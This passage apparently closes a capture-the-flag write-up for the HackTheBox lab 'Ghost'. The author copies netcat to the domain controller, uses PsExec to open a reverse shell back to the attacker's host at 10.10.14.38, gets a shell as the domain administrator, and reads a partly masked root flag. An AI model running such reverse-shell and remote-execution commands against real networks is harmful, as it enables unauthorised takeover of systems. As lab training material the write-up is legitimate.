C:\Users\Public\Documents> copy nc64.exe \\dc01.ghost.htb\c$\users\public\documents\nc64.exe 1 file(s) copied. C:\Users\Public\Documents> .\psexec.exe -accepteula \\dc01.ghost.htb cmd.exe /c "c:\users\public\documents\nc64.exe 10.10.14.38 8001 -e cmd.exe" PsExec v2.43 - Execute processes remotely Copyright (C) 2001-2023 Mark Russinovich Sysinternals - www.sysinternals.com Starting cmd.exe on dc01.ghost.htb...1.ghost.htb...
Finally, the box is rooted. That took a while!
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.38] from (UNKNOWN) [10.129.231.105] 57515 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami corp\administrator
Root Flag:
C:\Users\Administrator\Desktop> type root.txt 17f8a920************************